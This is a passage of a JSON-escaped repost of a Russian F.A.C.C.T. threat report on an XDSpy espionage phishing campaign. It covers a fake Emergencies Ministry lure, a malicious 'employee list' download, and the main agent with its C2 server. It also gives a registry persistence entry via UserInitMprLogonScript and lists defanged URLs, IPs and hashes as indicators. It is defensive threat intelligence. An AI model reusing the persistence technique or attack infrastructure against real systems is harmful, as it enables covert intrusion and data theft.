\u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX\\HealthDataExperience.exe<\/strong>.<\/p>\n<\/li>\n<\/ol>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u043e\u0447\u0442\u0438 \u0432\u043e \u0432\u0441\u0435\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u043a\u0440\u043e\u043c\u0435 <strong>XorTask<\/strong>, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0438. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u043a\u0438 &#171;fe&#187; &#8212; 14 \u0438 15 \u0441\u0438\u043c\u0432\u043e\u043b \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 &#171;3309f5a10063afef30290e635561bcd8&#187; \u0441 \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0439 \u0432 \u043a\u043e\u0434\u0435 \u0441\u0442\u0440\u043e\u043a\u043e\u0439 &#171;fe&#187;. \u0415\u0441\u043b\u0438 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u043a\u0430 \u043e\u0442\u043b\u0438\u0447\u043d\u0430 \u043e\u0442 &#171;fe&#187;, \u0442\u043e\u0433\u0434\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f.<\/p>\n<p><strong>XDSpy.Mainmodule &#8212; HealthDataExperience.exe<\/strong><\/p>\n<p><strong>XDSpy.Mainmodule<\/strong> \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0430 PE32 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0430\u0433\u0435\u043d\u0442, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f. \u0422\u0430\u043a\u0436\u0435 <strong>XDSpy.Mainmodule<\/strong> \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u044b\u0435 \u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f <strong>lifestyle-star[.]com:443 (91.235.116[.]194)<\/strong>. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438 \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c\u0438 AntiVM \u0438 AntiDebug.<\/p>\n<p>\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u041e\u0421:<\/p>\n<pre><code class=\"bash\">[HKCU\\Environment] \"UserInitMprLogonScript\" = %USERPROFILE%\\source\\repos\\&lt;random_name>\\HealthDataExperience.exe<\/code><\/pre>\n<p>XDSpy \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c\u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u0440\u0430\u043d\u044c\u0448\u0435: \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u043c\u0430\u0440\u0442\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0433\u043e\u0434\u0430 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u044b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u041c\u0418\u0414\u0430 \u0420\u043e\u0441\u0441\u0438\u0438, \u0430 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430 \u2014 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u043c\u0438 \u043f\u043e\u0432\u0435\u0441\u0442\u043a\u0430\u043c\u0438 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u041c\u0438\u043d\u043e\u0431\u043e\u0440\u043e\u043d\u044b.<\/p>\n<p>\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b F.A.C.C.T. \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 XDSpy \u0438 \u0432\u0435\u0434\u0443\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 <strong>XDSpy.Mainmodule<\/strong> \u0438\u0437 \u0434\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438. \u041f\u043e \u043c\u0435\u0440\u0435 \u043f\u043e\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0431\u0443\u0434\u0443\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435. <\/p>\n<h2>\u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 (IOCs)<\/h2>\n<p><strong>\u0424\u0430\u0439\u043b\u043e\u0432\u044b\u0435<\/strong><\/p>\n<p><strong>\u041a\u0430\u0442\u0430\u043b\u043e\u0433<\/strong><\/p>\n<p>%USERPROFILE%\\source\\repos\\&lt;random_name><\/p>\n<p><strong>\u0424\u0430\u0439\u043b\u044b<\/strong><\/p>\n<p>%USERPROFILE%\\source\\repos\\&lt;random_name>\\&lt;random_name>.blob<\/p>\n<p>%USERPROFILE%\\source\\repos\\&lt;random_name>\\HealthDataExperience.exe<\/p>\n<p>%USERPROFILE%\\source\\repos\\&lt;random_name>\\.DS_Store<\/p>\n<p>%TEMP%\\.DS_Store<\/p>\n<p>%TEMP%\\&lt;random_name> (\u043f\u0443\u0441\u0442\u043e\u0439 \u0444\u0430\u0439\u043b)<\/p>\n<p><strong>SHA-256 \u0445\u0435\u0448\u0438<\/strong><\/p>\n<p><strong>Spisok_rabotnikov.zip<\/strong><\/p>\n<p>9f2f6664297714290cb7e1740a1ca1a53957264d43e8662ffd4712c335e2ff30<\/p>\n<p>18c111c6d6fbed436450e158e046ab13a572fb58ea2cc647d398e688061a880c<\/p>\n<p>b4f0d197276d7a376ad376b3165736e70a2aa06003a5c73500b93d85df2ee7c8<\/p>\n<p><strong>Spisok_rabotnikov.lnk<\/strong><\/p>\n<p>a1bf620c66b8060423c36d07275d66c802af1463b533bc412705680b6c621ebe<\/p>\n<p>9f51f81a395d1e7c2ff2ed9cdb61cd0ce12573523585c19695d8d8db3c8dd02e<\/p>\n<p>14df219f9fc09d02ca35cb1c9a81e99d89385577d44d6b9887c22a02cb8e865b<\/p>\n<p>b878ed1679b45df16f046ddc495150efd4d7e9fb9c7873c40d6368a8515ed1db<\/p>\n<p>5ed56ba4a51516a8bbba25edaeefb0a382f3729c9b28b087962a455d36bb415c<\/p>\n<p><strong>.DS_Store<\/strong><\/p>\n<p>c296d67b23b2d6ee724aa4984d8acd16231037ac2c66f747213b8d8ee3ac530c<\/p>\n<p>076fa1b5c47fb308fa7598b52cab52b736f079f33ddd1fdca160b3a1770d64a3<\/p>\n<p>bd9abe9085034ac6b3c0ae66d45963ef72d310a8f5b4b6fb9464e00ade90c2c3<\/p>\n<p>e3e706a66638136ebcba0cf7194708b1d2bae3edfc66bd16e4fefb17cdcbe69f<\/p>\n<p>7081eba7ef918913aa2f84e52441ae163800965127567bde499ccebdf9973db9<\/p>\n<p><strong>HealthDataExperience.exe<\/strong><\/p>\n<p>9f07a6d5345aa1d1a4a906cb2672e33502783efade2b37ea6a5a85608cd8b722<\/p>\n<p><strong>\u0420\u0435\u0435\u0441\u0442\u0440 \u041e\u0421<\/strong><\/p>\n<p>[HKCU\\Environment] &#171;UserInitMprLogonScript&#187; = %USERPROFILE%\\source\\repos\\&lt;random_name>\\HealthDataExperience.exe<\/p>\n<p><strong>\u0421\u0435\u0442\u0435\u0432\u044b\u0435<\/strong><\/p>\n<p><strong>\u0421\u0441\u044b\u043b\u043a\u0438 (URL)<\/strong><\/p>\n<p>hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/Spisok_rabotnikov\/idx\/download\/LSsyn5Hg8zSoOQA3rCwAeX6VC<\/p>\n<p>hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/Spisok_rabotnikov\/idx\/download\/7lxPi6uv7HMWZqDRApOZXlDxS<\/p>\n<p>hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/Spisok_rabotnikov\/idx\/download\/sbrD01qG7a8ZqdfAu5YTaDTg6<\/p>\n<p>hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/Spisok_rabotnikov\/idx\/download\/DJ43gz32xiTgDMXNT7w7eU2t9<\/p>\n<p>hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/Spisok_rabotnikov\/idx\/download\/LlPkkPSSeb5xzq0IoIKoWMBQN<\/p>\n<p>hxxs:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/E\/idx\/download\/d0qUEl0rgGThHT2r6m0EzXJ7E<\/p>\n<p>hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/E\/idx\/download\/7iYQUryqOsmAR6aFiYqckHW2i<\/p>\n<p>hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/Spisok_rabotnikov\/idx\/download\/grWUbTk00UWnSutvoJLaUkJyI<\/p>\n<p>hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov.pdf<\/p>\n<p>hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/E\/idx\/download\/grWUbTk00UWnSutvoJLaUkJyI<\/p>\n<p><strong>\u0414\u043e\u043c\u0435\u043d\u044b<\/strong><\/p>\n<p>files-manager[.]com<\/p>\n<p>lifestyle-star[.]com<\/p>\n<p><strong>IP-\u0430\u0434\u0440\u0435\u0441\u0430<\/strong><\/p>\n<p>185.56.136[.]50<\/p>\n<p>91.235.116[.]194<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/747540\/\"> https:\/\/habr.com\/ru\/articles\/747540\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><\/figure>\n<p>XDSpy \u2014\u00a0 \u043e\u0434\u043d\u0430 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0442\u0430\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0438 \u043c\u0430\u043b\u043e\u0438\u0437\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f. \u0412\u043f\u0435\u0440\u0432\u044b\u0435 \u0435\u0435 \u0437\u0430\u0441\u0435\u043a \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2020 \u0433\u043e\u0434\u0430 \u0431\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u043a\u0438\u0439 CERT, \u0445\u043e\u0442\u044f \u0441\u0430\u043c\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2011 \u0433\u043e\u0434\u0430. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0446\u0435\u043b\u0435\u0439 XDSpy \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u2014 \u044d\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435, \u0432\u043e\u0435\u043d\u043d\u044b\u0435, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0438 \u0434\u043e\u0431\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. \u041d\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e XDSpy \u0441 \u0437\u0430\u0432\u0438\u0434\u043d\u043e\u0439 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0440\u0430\u0434\u0430\u0440\u0430\u0445, \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0442\u0430\u043a \u0438 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c, \u0432 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430\u0445 \u043a\u0430\u043a\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u044d\u0442\u0430 \u0445\u0430\u043a-\u0433\u0440\u0443\u043f\u043f\u0430. <\/p>\n<p>\u0418\u0442\u0430\u043a, \u0447\u0442\u043e \u0441\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c? \u0412\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a, 11 \u0438\u044e\u043b\u044f, \u0426\u0435\u043d\u0442\u0440 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 F.A.C.C.T. \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0438 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437<a href=\"https:\/\/www.facct.ru\/products\/managed-xdr\/?utm_source=telegram&amp;utm_campaign=product-mxdr&amp;utm_medium=social\"> <u>F.A.\u0421.\u0421.T. Managed XDR<\/u><\/a><u> <\/u>\u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443. \u0421\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u0440\u0443 \u043c\u0438\u043d\u0443\u0442, \u0447\u0442\u043e\u0431\u044b  &#171;\u0441\u0434\u0435\u0442\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c&#187; \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u043a \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0435 XDSpy. \u0421\u0440\u0435\u0434\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043d\u0430\u0443\u0447\u043d\u043e-\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0438\u0442\u0443\u0442\u043e\u0432. <\/p>\n<figure class=\"full-width\">\n<div><figcaption><em>\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 1. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0432 \u043f\u0438\u0441\u044c\u043c\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 F.A.C.C.T. MXDR <\/em><\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\">\n<div><figcaption><em>\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 2. \u0410\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e F.A.C.C.T. Threat Intelligence \u043f\u043e \u0434\u043e\u043c\u0435\u043d\u0443 files-manager[.]com, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443.<\/em><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u0438\u0441\u044c\u043c\u043e-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430, \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u043f\u043e \u0447\u0440\u0435\u0437\u0432\u044b\u0447\u0430\u0439\u043d\u044b\u043c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f\u043c, \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u043e\u0435 \u2014  \u0442\u0435\u043c\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0432\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c \u041c\u0427\u0421. \u0412 \u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0441\u044f\u0442 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 &#171;\u043c\u043e\u0433\u0443\u0442 \u0441\u0438\u043c\u043f\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0433\u0440\u0443\u043f\u043f\u0430\u043c, \u0434\u0435\u0441\u0442\u0430\u0431\u0438\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0438\u043c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u044e\u044e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e \u0432 \u0420\u043e\u0441\u0441\u0438\u0438&#187;. \u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u0443\u0433\u0440\u043e\u0436\u0430\u044e\u0442, \u0447\u0442\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043e\u0442\u0432\u0435\u0442\u0430, \u043f\u0440\u043e\u0442\u0438\u0432 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0431\u0443\u0434\u0443\u0442 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u044e\u0440\u0438\u0434\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0435\u0440\u044b.<\/p>\n<figure class=\"full-width\">\n<div><figcaption><em>\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 3. \u0421\u043a\u0440\u0438\u043d\u0448\u043e\u0442 \u043f\u0438\u0441\u044c\u043c\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0438\u0437 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0448\u043b\u0430 \u0432 \u043d\u043e\u0447\u044c \u0441 10 \u043d\u0430 11 \u0438\u044e\u043b\u044f.<\/em> <\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u0444\u0430\u0439\u043b\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 <strong>Spisok_rabotnikov.pdf<\/strong> \u0441\u043e \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0432\u0440\u0430\u0447\u0435\u0439 (!) \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043a\u043b\u0438\u043d\u0438\u043a \u0420\u043e\u0441\u0442\u043e\u0432\u0430-\u043d\u0430-\u0414\u043e\u043d\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0436\u0435\u0440\u0442\u0432\u044b. <\/p>\n<figure class=\"full-width\">\n<div><figcaption><em>\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 4. \u0420\u044f\u0434 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0434\u0435\u0442\u043e\u043d\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u0432 <\/em>Malware Detonation Platform F.A.C.C.T. MXDR<em>.<\/em><br \/><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 XDSpy <strong>\u0410\u0432\u0435\u0442\u0438\u043a \u041d\u0430\u0434\u0438\u0440\u044f\u043d<\/strong>, \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u043f\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043d\u0430 \u043a\u0438\u0431\u0435\u0440\u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0426\u0435\u043d\u0442\u0440\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 F.A.C.C.T., \u043f\u0440\u043e\u0432\u0435\u043b \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0434\u043b\u044f \u0435\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430 \u0430\u0442\u0430\u043a\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u043a \u0440\u0435\u0432\u0435\u0440\u0441\u0443 